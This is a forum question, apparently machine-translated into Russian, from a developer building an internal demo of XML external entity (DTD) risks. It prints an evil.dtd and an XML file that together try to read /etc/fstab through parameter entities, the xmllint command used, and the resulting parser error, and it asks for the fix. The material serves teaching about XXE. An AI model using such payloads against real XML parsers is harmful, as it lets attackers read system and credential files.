Я пытаюсь создать демонстрацию «движущихся частей» для команды разработчиков об опасностях определения типов документов (DTD).
Я использую простое упражнение командной строки XMLLINT, украденное непосредственно у Блог Acunetix .
На моем внутреннем веб-сервере у меня есть файл: evil.dtd :
<!ENTITY % file SYSTEM "file:///etc/fstab">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
В моей системе презентаций у меня есть простой XML файл для загрузки и анализа DTD: EvilDTD_FSTAB. xml:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
<!ENTITY % dtd SYSTEM
"http://192.168.68.114/working/evil.dtd">
%dtd;
%all;
]>
<data>&fileContents;</data>
Когда я запускаю анализ из командной строки: slid3r@demo-lab: $ xmllint --xpath "string (// data)" --loaddtd --noent --dropdtd EvilDTD_FSTAB. xml
Entity: line 1: parser error : xmlParseEntityDecl: entity fileContents not terminated
%all;
^
Entity: line 3:
# Use 'blkid' to print the universally unique identifier for a
^
Я уверен, что это просто недостающий символ зла. Файл dtd, но мои проб и ошибок не может найти его. Если бы кто-нибудь мог указать на мою ошибку, и я выгляжу умно для своей презентации, я был бы благодарен.
Заранее спасибо.